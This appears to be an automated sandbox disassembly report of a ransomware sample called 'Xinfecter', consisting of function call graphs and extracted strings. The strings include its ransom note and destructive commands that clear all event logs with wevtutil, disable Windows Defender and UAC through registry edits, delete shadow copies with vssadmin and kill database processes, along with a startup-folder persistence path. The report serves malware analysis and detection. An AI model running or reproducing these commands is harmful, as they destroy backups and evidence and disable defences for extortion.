a871e5 113433->113435 113487 a8721c LeaveCriticalSection __fread_nolock 113434->113487 113436 a759b3 std::_Stofx_v2 20 API calls 113435->113436 113436->113430 113438->113359 113440 a74882 113439->113440 113441 a7487b 113439->113441 113442 a858de Concurrency::details::_CancellationTokenState::_RegisterCallback 31 API calls 113440->113442 113443 a74a56 CloseHandle 113441->113443 113444 a747db 113441->113444 113445 a74889 113442->113445 113443->113444 113444->113364 113489 a8723e 113445->113489 113447 a74897 113447->113441 113448 a74c8c 29 API calls 113447->113448 113449 a748a7 113448->113449 113465 a748b1 113449->113465 113511 a74acb 113449->113511 113451 a71daa Concurrency::details::_CancellationTokenState::_RegisterCallback 93 API calls 113451->113441 113452 a748bd ListArray 113452->113452 113453 a84d09 std::_Stofx_v2 20 API calls 113452->113453 113454 a7495b 113453->113454 113455 a821c2 ___std_type_info_name 26 API calls 113454->113455 113475 a74a22 113454->113475 113456 a74974 113455->113456 113458 a74a68 113456->113458 113461 a86be9 26 API calls 113456->113461 113457 a84d66 _free 20 API calls 113459 a74a2d 113457->113459 113537 a7514f 11 API calls _abort 113458->113537 113462 a84d66 _free 20 API calls 113459->113462 113464 a7498b 113461->113464 113462->113465 113463 a74a74 113464->113458 113466 a86be9 26 API calls 113464->113466 113465->113441 113465->113451 113467 a749a0 113466->113467 113467->113458 113468 a749ab 113467->113468 113518 a74b09 113468->113518 113471 a749bb CreateProcessA 113472 a74a00 CloseHandle 113471->113472 113473 a749f9 113471->113473 113472->113473 113474 a84d66 _free 20 API calls 113473->113474 113474->113475 113475->113457 113476->113355 113477->113355 113478->113373 113479->113395 113480->113395 113481->113395 113482->113400 113483->113408 113484->113410 113485->113415 113486->113431 113487->113430 113488->113430 113490 a87146 CallCatchBlock 113489->113490 113491 a8716e 113490->113491 113492 a8715e 113490->113492 113494 a87186 113491->113494 113495 a87176 113491->113495 113493 a759b3 std::_Stofx_v2 20 API calls 113492->113493 113496 a87163 113493->113496 113498 a87226 113494->113498 113501 a871b8 113494->113501 113497 a759b3 std::_Stofx_v2 20 API calls 113495->113497 113540 a75122 26 API calls __wsopen_s 113496->113540 113503 a8717b __wsopen_s 113497->113503 113499 a759b3 std::_Stofx_v2 20 API calls 113498->113499 113499->113496 113538 a84680 71 API calls 2 library calls 113501->113538 113503->113447 113504 a871c4 113504->113503 113505 a84523 std::_Xfsopen 23 API calls 113504->113505 113506 a871dd 113505->113506 113507 a871f2 113506->113507 113508 a871e5 113506->113508 113539 a8721c LeaveCriticalSection __fread_nolock 113507->113539 113509 a759b3 std::_Stofx_v2 20 API calls 113508->113509 113509->113503 113512 a86b4b 77 API calls 113511->113512 113513 a74ae6 113512->113513 113514 a74af2 113513->113514 113515 a74afe 113513->113515 113514->113452 113541 a7514f 11 API calls _abort 113515->113541 113517 a74b08 113519 a86e62 33 API calls 113518->113519 113520 a74b1c 113519->113520 113521 a749b4 113520->113521 113522 a84d09 std::_Stofx_v2 20 API calls 113520->113522 113521->113471 113521->113475 113523 a74b37 113522->113523 113524 a74bef 113523->113524 113542 a74c0b 77 API calls std::_Locinfo::_W_Getmonths 113523->113542 113526 a84d66 _free 20 API calls 113524->113526 113526->113521 113529 a84d66 _free 20 API calls 113529->113524 113530 a86be9 26 API calls 113531 a74b49 113530->113531 113531->113530 113532 a74c00 113531->113532 113535 a86e62 33 API calls 113531->113535 113536 a74be1 113531->113536 113543 a74c49 64 API calls 113531->113543 113544 a86cf0 20 API calls std::_Stofx_v2 113531->113544 113545 a7514f 11 API calls _abort 113532->113545 113534 a74c0a 113535->113531 113536->113529 113537->113463 113538->113504 113539->113503 113540->113503 113541->113517 113542->113531 113543->113531 113544->113531 113545->113534 113546 9d6330 113562 9f6950 28 API calls 4 library calls 113546->113562 113548 9d634f 113548->113546 113553 9d6355 113548->113553 113549 9d63d1 InternetConnectW 113550 9d6402 113549->113550 113552 9f1800 collate 28 API calls 113550->113552 113556 9d62ad Concurrency::details::platform::DefaultWaiterPool::~DefaultWaiterPool 113552->113556 113553->113549 113554 9d63c5 113553->113554 113563 9f6950 28 API calls 4 library calls 113553->113563 113554->113549 113555 9d69cd 113557 a75132 collate 26 API calls 113555->113557 113556->113555 113561 9d62fb Concurrency::details::platform::DefaultWaiterPool::~DefaultWaiterPool 113556->113561 113559 9d69d2 113557->113559 113558 a505bb Concurrency::details::ReferenceLoadLibrary 5 API calls 113560 9d66b2 113558->113560 113561->113558 113562->113548 113563->113553 113564 a872f6 113565 a87303 113564->113565 113569 a8731b 113564->113569 113566 a759b3 std::_Stofx_v2 20 API calls 113565->113566 113567 a87308 113566->113567 113614 a75122 26 API calls __wsopen_s 113567->113614 113570 a87313 113569->113570 113571 a87376 113569->113571 113572 a85b37 21 API calls 113569->113572 113573 a836a5 __fread_nolock 26 API calls 113571->113573 113572->113571 113574 a8738e 113573->113574 113584 a88990 113574->113584 113576 a87395 113576->113570 113577 a836a5 __fread_nolock 26 API calls 113576->113577 113578 a873c1 113577->113578 113578->113570 113579 a836a5 __fread_nolock 26 API calls 113578->113579 113580 a873cf 113579->113580 113580->113570 113581 a836a5 __fread_nolock 26 API calls 113580->113581 113582 a873df 113581->113582 113583 a836a5 __fread_nolock 26 API calls 113582->113583 113583->113570 113585 a8899c CallCatchBlock 113584->113585 113586 a889a4 113585->113586 113588 a889bc 113585->113588 113589 a759a0 __dosmaperr 20 API calls 113586->113589 113587 a88a82 113591 a759a0 __dosmaperr 20 API calls 113587->113591 113588->113587 113593 a889f5 113588->113593 113590 a889a9 113589->113590 113592 a759b3 std::_Stofx_v2 20 API calls 113590->113592 113594 a88a87 113591->113594 113604 a889b1 __wsopen_s 113592->113604 113595 a88a19 113593->113595 113596 a88a04 113593->113596 113597 a759b3 std::_Stofx_v2 20 API calls 113594->113597 113615 a8cba4 EnterCriticalSection 113595->113615 113598 a759a0 __dosmaperr 20 API calls 113596->113598 113600 a88a11 113597->113600 113601 a88a09 113598->113601 113617 a75122 26 API calls __wsopen_s 113600->113617 113605 a759b3 std::_Stofx_v2 20 API calls 113601->113605 113602 a88a1f 113606 a88a3b 113602->113606 113607 a88a50 113602->113607 113604->113576 113605->113600 113608 a759b3 std::_Stofx_v2 20 API calls 113606->113608 113609 a88aa3 __fread_nolock 38 API calls 113607->113609 113610 a88a40 113608->113610 113611 a88a4b 113609->113611 113612 a759a0 __dosmaperr 20 API calls 113610->113612 113616 a88a7a LeaveCriticalSection __wsopen_s 113611->113616 113612->113611 113614->113570 113615->113602 113616->113604 113617->113604

                                  Executed Functions

                                  Function 009E4049 Relevance: 185.5, APIs: 13, Strings: 89, Instructions: 7001COMMON
                                  Download Yara Rule
                                  Strings
                                  Memory Dump Source
                                  • Source File: 00000000.00000002.3316963659.00000000009C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009C0000, based on PE: true
                                  • Associated: 00000000.00000002.3316937227.00000000009C0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317054913.0000000000AA3000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317089091.0000000000ADF000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317108979.0000000000AE1000.00000008.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317129947.0000000000AE6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317129947.0000000000AEF000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317169146.0000000000AF0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_0_2_9c0000_lEUy79aLAW.jbxd
                                  Similarity
                                  • API ID:
                                  • String ID: If You Do Not Receive A Response Within 24 Hours, Send A Message To Our $If You Want To Restore Them Email Us : $To Decrypt Your Files You Need Buy Our Special Decrypter In Bitcoin .Every Day The Delay Increases The Price !! The Decryp$ ",$ /f$ ::$ <span class="spnn">$ ="$" start= auto$" start=auto$", $","$"cmd.exe","$"disaust",$"ren_end",$.2QN$.txt$4O99N$:: $:\Documents and Settings\$:\Users\$:\Windows\SysMain.sys$</span></br></br>If You Do Not Receive A Response Within 24 Hours, Send A Message To Our $</span></br></br>If You Want To Restore Them Email Us : <span class="spnn">$</span></br></br>To Decrypt Your Files You Need Buy Our Special Decrypter In Bitcoin .</br></br>Every Day The Delay Increases The $</title><style>.spnn { background-color:yellow;} .xsw{color:white;} .Circe1 {display: list-item;padding-left:30px;}.dives{backgrou$<html><head><title>$=" $All Your Files Are Locked And Important Data Downloaded !Your Files Are No Longer Accessible Don't Waste Your Time, Without $Dflt$Dflt$Lpath$Second Email :$Telegram , ID :$Version 5.$X$\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Xinfecter.exe$\AppData\SysMain.sys$\Start Menu\Programs\Startup\Xinfecter.exe$_Mail-$_[ID-$user$alterencsz="$alterencsz="",$asykat$asykat$c$c$c:\R_cfg.ini$c:\skips.txt$c_drive="$c_drive=""$c_end$dcdcf$dismx$emptyString$file$for /F "tokens=*" %1 in ('wevtutil.exe el') DO wevtutil.exe cl "%1"$fpath="$fpath=""$h2gq$invalid stod argument$k2ba8v$mode="$mode="",$mode="fast",$mode="slow",$n7t0$nodisk$noshare$p2h6$r1d8la$reg.exe add "HKLMSoftwarePoliciesMicrosoftWindows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d "1" /f&reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f&vssadmin.exe Delete Shadows /All /Quiet&wmic$sc create SqlBakup binPath= "$skip_path="$skip_path=""$spath$spath="$spath=""$stod argument out of range$taskkill /PID $taskkill /im msftesql.exe&taskkill /im sqlagent.exe&taskkill /im sqlbrowser.exe&taskkill /im sqlservr.exe&taskkill /im sqlwriter.exe&taskkill /im oracle.exe&taskkill /im ocssd.exe&taskkill /im dbsnmp.exe&taskkill /im synctime.exe&taskkill /im agntsvc.exe&taskk$tasklist /v /fo csv | findstr /i "dcdcf"$thd_per_drv="$thd_per_drv=""$total_thd="$total_thd=""$u4g8$ver
                                  • API String ID: 0-3921624879
                                  • Opcode ID: 56e03557e5a70962f9a219707757c235946398ae9b732dbb2b5e0907f56aa726
                                  • Instruction ID: 77be7e81f0c0e431fec16f76947e1cffb689d37a80ae45d090835fc1d655eba9
                                  • Opcode Fuzzy Hash: 56e03557e5a70962f9a219707757c235946398ae9b732dbb2b5e0907f56aa726
                                  • Instruction Fuzzy Hash: 9FD30470E00248DBDF14EF64CC46BEDBBB5AF85304F10869CE545A7292DB759A88CF92
                                  Function 009EC170 Relevance: 89.0, APIs: 5, Strings: 45, Instructions: 1531COMMON
                                  Download Yara Rule

                                  Control-flow Graph

                                  • Executed
                                  • Not Executed
                                  control_flow_graph 2805 9ec170-9ec1ce call a51740 GetConsoleWindow ShowWindow 2808 9ec269-9ec317 call 9f90a0 * 4 2805->2808 2809 9ec1d4-9ec20d call 9f1800 2805->2809 2833 9ec322-9ec329 2808->2833 2815 9ec210-9ec237 call 9f1940 * 2 2809->2815 2824 9ec239-9ec264 call 9f1c10 call 9e68a0 call 9f1ac0 2815->2824 2824->2833 2835 9ec32f-9ec343 2833->2835 2836 9ec422-9ec44e call 9c8780 call 9f13c0 2833->2836 2839 9ec345-9ec348 2835->2839 2840 9ec382-9ec385 2835->2840 2856 9ec454-9ec50b call 9f13c0 * 2 call 9f1360 call 9f9040 call 9f9580 call 9f1ac0 * 2 call 9f1660 call 9c8780 call 9f1ac0 * 2 2836->2856 2857 9ec510-9ec852 call 9d2870 GetModuleFileNameW call 9f1260 call 9d36f0 call 9d3590 call 9f11d0 call 9c49c0 call 9f9b40 call 9f9c10 call 9f9ad0 call 9c49c0 * 2 call 9f1090 * 2 CopyFileW call 9f9b40 call 9f9c10 call 9f9ad0 call 9c49c0 * 2 call 9f1090 * 2 CopyFileW call 9f10a0 call 9f10c0 call 9fa4d0 call 9f8f40 call 9f9580 call 9f1ac0 call 9f8f40 call 9f9580 call 9f1ac0 call 9f1660 call 9c8780 call 9f1ac0 call 9f1660 call 9c8780 call 9f1ac0 call 9f10a0 call 9f10c0 call 9fa4d0 call 9f8f40 call 9f9580 call 9f1ac0 call 9f1660 call 9c8780 call 9f1ac0 call 9e3dd0 call 9c8780 call 9f13c0 call 9f12d0 call 9d3100 2836->2857 2842 9ec350-9ec35a 2839->2842 2843 9ec387-9ec38a 2840->2843 2844 9ec3c2-9ec3c5 2840->2844 2842->2842 2849 9ec35c-9ec37d 2842->2849 2845 9ec390-9ec39a 2843->2845 2846 9ec3fd-9ec410 SetErrorMode SetConsoleTitleW call 9d58e0 2844->2846 2847 9ec3c7-9ec3ca 2844->2847 2845->2845 2850 9ec39c-9ec3bd 2845->2850 2855 9ec415-9ec41c 2846->2855 2851 9ec3d0-9ec3da 2847->2851 2849->2840 2850->2844 2851->2851 2854 9ec3dc-9ec3f9 2851->2854 2854->2846 2855->2836 2859 9ee585-9ee5a2 call a505bb 2855->2859 2856->2857 2980 9ec8b6-9ec8cb call 9d5d90 * 2 2857->2980 2981 9ec854-9ec85b 2857->2981 2990 9ec8cd-9ec8ec call 9d5d90 * 2 2980->2990 2991 9ec8f2-9eca02 call 9f10a0 call 9f10c0 call 9fa4d0 call 9f1a90 call 9c8a80 call 9f11d0 call 9c49c0 call 9f10a0 call 9f10c0 call 9fa4d0 call 9c8a80 call 9f9d90 call 9f11d0 call 9c49c0 * 2 call 9d4500 call 9f12b0 2980->2991 2981->2980 2983 9ec85d-9ec864 2981->2983 2983->2980 2985 9ec866-9ec872 call 9fafa0 2983->2985 2985->2980 2992 9ec874-9ec8b3 call 9f12d0 * 2 call 9c92a0 2985->2992 2990->2991 3037 9eca04-9eca06 2991->3037 2992->2980 3038 9eca0c-9ecaa9 call 9f9b40 call 9f9c10 call 9f9ad0 call 9f11d0 call 9c49c0 * 3 call 9f12d0 call 9c4a20 3037->3038 3039 9ecad8-9ecb15 call 9f12d0 call 9c4a20 call 9c49c0 3037->3039 3092 9ecaae-9ecaca call 9c49c0 3038->3092 3053 9ecb17-9ecb8d call 9f9b40 call 9f9c10 call 9f9ad0 call 9f11d0 call 9c49c0 * 3 3039->3053 3054 9ecb92-9ecbb5 call 9f9b40 3039->3054 3053->3054 3063 9ecbbc-9ecbf0 call 9f12d0 call 9c4a20 3054->3063 3064 9ecbb7 call 9e0fa0 3054->3064 3080 9ecc32 3063->3080 3081 9ecbf2-9ecc22 call 9f12d0 call 9c4a20 3063->3081 3064->3063 3085 9ecc39-9ecc41 3080->3085 3099 9ecc27-9ecc30 3081->3099 3089 9ecc5d-9ecc7f call 9c49c0 3085->3089 3090 9ecc43-9ecc57 call 9c49c0 3085->3090 3101 9ed02b-9ed1f1 call a68980 call 9f37b0 call 9f9130 call 9c3730 call 9f3740 call a68980 call 9d5e60 call a05c80 call a68980 call 9ee5b0 call a68980 call 9ee750 call 9f0230 call a02590 call 9f0230 call a023c0 3089->3101 3102 9ecc85-9eccc2 call 9f12d0 call 9c4a20 call 9c49c0 3089->3102 3090->3089 3092->3039 3106 9ecacc-9ecad3 3092->3106 3099->3080 3099->3085 3178 9ed1f7-9ed200 3101->3178 3119 9eccd6-9eccdc 3102->3119 3120 9eccc4-9eccd1 call 9f11a0 3102->3120 3106->3037 3123 9ecce0-9eccfb call 9f12d0 call 9caed0 3119->3123 3120->3119 3132 9ecd0d-9ed026 call a68980 call 9f3b00 call 9f0cc0 call 9fae30 call 9f3a90 call 9f1bd0 * 2 call 9f1400 * 2 call 9f1360 call 9f1b10 call 9f1ac0 call 9f1360 call 9f1b10 call 9f1ac0 call 9f13c0 * 2 call 9f1360 call 9f16c0 call 9f16e0 call 9fa5b0 call 9f1170 call 9f11a0 call 9f13c0 * 2 call 9f1360 call 9f16c0 call 9f16e0 call 9fa5b0 call 9f11a0 call 9c7fe0 call 9f1b10 call 9f1ac0 call 9f1a60 call 9f1a90 call 9f1ac0 call 9c49c0 call 9f1ac0 call 9c49c0 call 9f1ac0 * 4 call 9cac80 3123->3132 3133 9eccfd 3123->3133 3314 9ed82e-9ed891 call a68980 call 9c76c0 call a01ba0 call 9f1260 call 9f0e90 3132->3314 3135 9eccff-9ecd02 3133->3135 3136 9ecd04-9ecd0b Sleep 3133->3136 3135->3132 3135->3136 3136->3123 3178->3178 3180 9ed202-9ed26e call 9c7e30 call 9f1b10 call 9f1ac0 call 9f1360 * 2 3178->3180 3202 9ed270-9ed279 3180->3202 3202->3202 3204 9ed27b-9ed291 call 9f1a90 3202->3204 3210 9ed297-9ed2a0 3204->3210 3210->3210 3212 9ed2a2-9ed2c1 call 9d3f00 3210->3212 3217 9ed2c6-9ed2cf 3212->3217 3217->3217 3219 9ed2d1-9ed30a call 9f95d0 call 9f1b10 call 9f1ac0 3217->3219 3234 9ed310-9ed319 3219->3234 3234->3234 3236 9ed31b-9ed72c call 9f1c10 call 9c7e30 call 9f1b10 call 9f1ac0 call a68980 call 9f37b0 call 9f8f40 call 9f9580 call 9f9470 call 9c3730 call 9f1ac0 * 2 call 9f3740 call 9f10a0 call 9f10c0 call 9fa4d0 call a68980 call 9f37b0 call 9f9490 call 9f9470 call 9f1ac0 call 9f9490 call 9f9470 call 9f1ac0 call 9f3740 call 9f1c10 call 9d4670 call 9f9b40 call 9f9c10 call 9f9ad0 call 9c49c0 * 2 call a68980 call 9f3b00 call 9c3730 call 9f3a90 call 9f12d0 call 9e1c90 3234->3236 3396 9ed731-9ed825 call 9cac80 call 9c49c0 call 9f1ac0 * 2 call 9cb040 call 9f1ac0 call 9cb040 call 9f1ac0 * 5 call 9c7d70 call 9d6020 * 2 3236->3396 3335 9ed8a3-9edba9 call 9f9de0 call 9f9ad0 call 9f9c10 call 9f9ad0 call 9f9c10 call 9f9ad0 call 9f9c10 call 9f9ad0 call 9f9c10 call 9f9ad0 call 9f11d0 call 9c49c0 * 10 call 9f1bd0 call 9f1660 call a75282 call 9f1bd0 call 9f1660 call a75282 call 9f9de0 call 9f9ad0 call 9f9c10 call 9f9ad0 call 9f9c10 call 9f9ad0 call 9f9c10 call 9f9ad0 call 9f11d0 call 9c49c0 * 8 call 9f90a0 3314->3335 3336 9ed893-9ed89e call 9f1170 3314->3336 3489 9edbaf-9edbc0 call 9cf5e0 3335->3489 3490 9edd17-9edd28 call 9f90a0 3335->3490 3336->3335 3396->3314 3458 9ed829 call 9cb040 3396->3458 3458->3314 3497 9edbc6-9edcb7 call 9f9b40 call 9f9c10 call 9f9ad0 call 9f9c10 call 9f9ad0 call 9f9c10 call 9c49c0 * 5 call 9f1090 * 2 call a759c6 3489->3497 3498 9ee4a4-9ee580 call 9c8780 call 9f1ac0 * 3 call 9c49c0 call 9c78d0 call 9c49c0 * 2 call 9f1ac0 * 8 call 9c49c0 * 3 call 9f1ac0 3489->3498 3495 9edd2e-9ee0a3 call 9c5130 * 2 call 9f0e30 call 9f12d0 call 9fa750 call 9fa940 call 9f0e30 call 9f12d0 call 9fa750 call 9fa940 call 9f0e30 call 9f12d0 call 9fa750 call 9fa940 call 9f0e30 call 9f12d0 call 9fa750 call 9fa940 call 9f0e30 call 9f12d0 call 9fa750 call 9fa940 call 9c5330 call 9f0e30 call 9f12d0 call 9fa750 call 9fa940 call 9f0e30 call 9f12d0 call 9fa750 call 9fa940 call 9f0e30 call 9f12d0 call 9fa750 call 9fa940 call 9f0e30 call 9f12d0 call 9fa750 call 9fa940 call 9f0e30 call 9f12d0 call 9fa750 call 9fa940 call 9c5330 3490->3495 3496 9ee450-9ee461 call 9f90a0 3490->3496 3687 9ee0a9-9ee42f call 9c5130 * 2 call 9f0e30 call 9f12d0 call 9fa750 call 9fa940 call 9f0e30 call 9f12d0 call 9fa750 call 9fa940 call 9f0e30 call 9f12d0 call 9fa750 call 9fa940 call 9f0e30 call 9f12d0 call 9fa750 call 9fa940 call 9f0e30 call 9f12d0 call 9fa750 call 9fa940 call 9c5330 call 9f0e30 call 9f12d0 call 9fa750 call 9fa940 call 9f0e30 call 9f12d0 call 9fa750 call 9fa940 call 9f0e30 call 9f12d0 call 9fa750 call 9fa940 call 9f0e30 call 9f12d0 call 9fa750 call 9fa940 call 9f0e30 call 9f12d0 call 9fa750 call 9fa940 call 9c5330 call 9c5240 * 2 3495->3687 3688 9ee434-9ee44e call 9c5240 * 2 3495->3688 3507 9ee463-9ee478 call 9ddaf0 * 2 3496->3507 3508 9ee491-9ee49d call 9df570 3496->3508 3602 9edcb9-9edd00 call 9f9c70 call 9f11d0 call 9c49c0 call 9f1090 * 2 call a759c6 3497->3602 3603 9edd03-9edd12 call 9c49c0 3497->3603 3498->2859 3507->3498 3533 9ee47a-9ee48f call 9ddaf0 * 2 3507->3533 3508->3498 3525 9ee49f 3508->3525 3525->3498 3527 9ee49f call 9df570 3525->3527 3527->3498 3533->3498 3602->3603 3603->3498 3687->3688 3688->3498
                                  APIs
                                  • GetConsoleWindow.KERNEL32 ref: 009EC1B9
                                  • ShowWindow.USER32(00000000,00000000), ref: 009EC1C2
                                  Strings
                                  Memory Dump Source
                                  • Source File: 00000000.00000002.3316963659.00000000009C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009C0000, based on PE: true
                                  • Associated: 00000000.00000002.3316937227.00000000009C0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317054913.0000000000AA3000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317089091.0000000000ADF000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317108979.0000000000AE1000.00000008.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317129947.0000000000AE6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317129947.0000000000AEF000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317169146.0000000000AF0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_0_2_9c0000_lEUy79aLAW.jbxd
                                  Similarity
                                  • API ID: Window$ConsoleShow
                                  • String ID: If You Do Not Receive A Response Within 24 Hours, Send A Message To Our $If You Want To Restore Them Email Us : $To Decrypt Your Files You Need Buy Our Special Decrypter In Bitcoin .Every Day The Delay Increases The Price !! The Decryp$ <span class="spnn">$" start= auto$" start=auto$.2QN$4O99N$:\Documents and Settings\$:\Users\$:\Windows\SysMain.sys$</span></br></br>If You Do Not Receive A Response Within 24 Hours, Send A Message To Our $</span></br></br>If You Want To Restore Them Email Us : <span class="spnn">$</span></br></br>To Decrypt Your Files You Need Buy Our Special Decrypter In Bitcoin .</br></br>Every Day The Delay Increases The $</title><style>.spnn { background-color:yellow;} .xsw{color:white;} .Circe1 {display: list-item;padding-left:30px;}.dives{backgrou$<html><head><title>$All Your Files Are Locked And Important Data Downloaded !Your Files Are No Longer Accessible Don't Waste Your Time, Without $Dflt$Fast$Fast$Lpath$Manual_Mini_Config$Mini_Config$Normal_Config$Second Email :$Version 5.$\AppData\N-Save.sys$\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Xinfecter.exe$\Start Menu\Programs\Startup\Xinfecter.exe$user$c$dcdcf$file$for /F "tokens=*" %1 in ('wevtutil.exe el') DO wevtutil.exe cl "%1"$h2gq$n7t0$p2h6$reg.exe add "HKLMSoftwarePoliciesMicrosoftWindows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d "1" /f&reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f&vssadmin.exe Delete Shadows /All /Quiet&wmic$sc create SqlBakup binPath= "$spath$taskkill /im msftesql.exe&taskkill /im sqlagent.exe&taskkill /im sqlbrowser.exe&taskkill /im sqlservr.exe&taskkill /im sqlwriter.exe&taskkill /im oracle.exe&taskkill /im ocssd.exe&taskkill /im dbsnmp.exe&taskkill /im synctime.exe&taskkill /im agntsvc.exe&taskk$tasklist /v /fo csv | findstr /i "dcdcf"$u4g8$ver$Z0
                                  • API String ID: 3999960783-101917789
                                  • Opcode ID: 91c76f0e9a098bc289de543a3cc45d7127e9c9e9abe112c08c1d1404bcd7cccc
                                  • Instruction ID: 7a4b31ad0bfc5e4c9d3345f8314f5a19c2ff8b15f7d7eb2fce4bd95f03e797ea
                                  • Opcode Fuzzy Hash: 91c76f0e9a098bc289de543a3cc45d7127e9c9e9abe112c08c1d1404bcd7cccc
                                  • Instruction Fuzzy Hash: 34D2C170E0025CAADB24F764CD56BEDB7789F91300F4481D8A54A672D2EF715F88CB92
                                  Function 009C92A0 Relevance: 59.2, APIs: 1, Strings: 32, Instructions: 1466COMMON
                                  Download Yara Rule

                                  Control-flow Graph

                                  • Executed
                                  • Not Executed
                                  control_flow_graph 4744 9c92a0-9c9340 call 9f6c20 * 2 4749 9c9351-9c93a0 call 9f12d0 * 2 call 9fb790 4744->4749 4750 9c9342-9c934c call 9f6c20 4744->4750 4758 9c94eb-9c95bc call 9f9b40 call 9f80d0 * 2 4749->4758 4759 9c93a6-9c93db call a68400 4749->4759 4750->4749 4778 9c95be-9c95d3 4758->4778 4779 9c95f3-9c961d 4758->4779 4765 9cac48 call 9f8080 4759->4765 4766 9c93e1-9c9442 call a68400 call 9f9b40 4759->4766 4771 9cac4d call a75132 4765->4771 4780 9c94ae-9c94b4 4766->4780 4781 9c9444-9c944d 4766->4781 4777 9cac52 call a75132 4771->4777 4791 9cac57 call 9f8080 4777->4791 4783 9c95e9-9c95f0 call a50c3c 4778->4783 4784 9c95d5-9c95e3 4778->4784 4785 9c961f-9c9634 4779->4785 4786 9c9654-9c9680 4779->4786 4780->4758 4793 9c94b6-9c94cb 4780->4793 4789 9c944f-9c9464 4781->4789 4790 9c9484-9c94ab 4781->4790 4783->4779 4784->4777 4784->4783 4794 9c964a-9c9651 call a50c3c 4785->4794 4795 9c9636-9c9644 4785->4795 4787 9c9a44-9c9a8f call 9f6c20 4786->4787 4788 9c9686-9c968e 4786->4788 4812 9c9ab1-9c9b1e call 9f9de0 call 9f80d0 4787->4812 4813 9c9a91-9c9aac call 9f6c20 * 2 4787->4813 4798 9c9690-9c9697 4788->4798 4799 9c947a-9c9481 call a50c3c 4789->4799 4800 9c9466-9c9474 4789->4800 4790->4780 4809 9cac5c call a75132 4791->4809 4803 9c94cd-9c94db 4793->4803 4804 9c94e1-9c94e8 call a50c3c 4793->4804 4794->4786 4795->4777 4795->4794 4798->4787 4807 9c969d-9c96a3 4798->4807 4799->4790 4800->4771 4800->4799 4803->4771 4803->4804 4804->4758 4807->4798 4814 9c96a5-9c96e3 call a68980 call 9f3b00 4807->4814 4820 9cac61 call a75132 4809->4820 4834 9c9b55-9c9b64 4812->4834 4835 9c9b20-9c9b35 4812->4835 4813->4812 4832 9c96e9-9c9754 call a00210 4814->4832 4833 9c9953-9c9960 4814->4833 4828 9cac66 call a75132 4820->4828 4836 9cac6b-9cac70 call a75132 4828->4836 4857 9c980a-9c9834 call 9fb8d0 4832->4857 4858 9c975a 4832->4858 4838 9c9966-9c998a call 9f7930 call a71daa 4833->4838 4839 9c9962-9c9964 4833->4839 4840 9c9b88-9c9be1 call 9f9de0 call 9f80d0 4834->4840 4841 9c9b66-9c9b70 4834->4841 4843 9c9b4b-9c9b52 call a50c3c 4835->4843 4844 9c9b37-9c9b45 4835->4844 4847 9c998d-9c999e call 9f7a00 4838->4847 4839->4847 4880 9c9c24-9c9c3d 4840->4880 4881 9c9be3-9c9bf8 4840->4881 4849 9c9b72-9c9b79 4841->4849 4843->4834 4844->4828 4844->4843 4870 9c99ca-9c9a40 call 9f47b0 call a38cbf 4847->4870 4871 9c99a0-9c99c5 call 9c3740 4847->4871 4849->4840 4854 9c9b7b-9c9b81 4849->4854 4854->4849 4861 9c9b83 4854->4861 4877 9c983a-9c989b call 9fb8d0 * 2 4857->4877 4878 9c991b-9c9922 4857->4878 4859 9c9760-9c9767 4858->4859 4865 9c9769-9c976b 4859->4865 4866 9c979b-9c97ae call 9f6950 4859->4866 4868 9c9c74-9cab47 call 9f9de0 call 9f80d0 * 32 call 9f6dc0 call 9f9ad0 call 9f9c10 call 9f9ad0 call 9f9c10 call 9f9ad0 call 9c49c0 * 37 call a68980 call 9f1e80 call 9fa1e0 call 9f1e40 call 9f9b40 call 9f9c10 call 9f9ad0 call 9c49c0 * 2 call 9f1bd0 call a68980 call 9f3980 call 9f9470 call 9f3910 call 9f9b40 call 9f9c10 call 9f9ad0 call 9c49c0 * 2 call 9f1bd0 call a68980 call 9f3980 call 9f9470 call 9f3910 call a75282 4861->4868 4873 9c976d-9c9774 4865->4873 4874 9c9796-9c9798 4865->4874 4899 9c97e7-9c97ee 4866->4899 4900 9c97b0-9c97b6 4866->4900 5132 9cab49-9cab50 4868->5132 5133 9cab81-9cac47 call 9cae10 call 9f1ac0 call 9c49c0 call 9cae10 call 9f1ac0 call 9c49c0 call 9cad10 call 9c49c0 * 10 call a505bb 4868->5133 4870->4787 4871->4870 4883 9c9776-9c977c 4873->4883 4884 9c9783-9c9787 4873->4884 4874->4866 4877->4791 4922 9c98a1-9c98e1 call 9f6c20 call a71d0c 4877->4922 4878->4833 4889 9c9924-9c9933 4878->4889 4880->4868 4885 9c9c3f-9c9c54 4880->4885 4890 9c9c0e-9c9c1c call a50c3c 4881->4890 4891 9c9bfa-9c9c08 4881->4891 4883->4884 4895 9c977e-9c9781 4883->4895 4906 9c978c-9c978f 4884->4906 4896 9c9c6a-9c9c71 call a50c3c 4885->4896 4897 9c9c56-9c9c64 4885->4897 4902 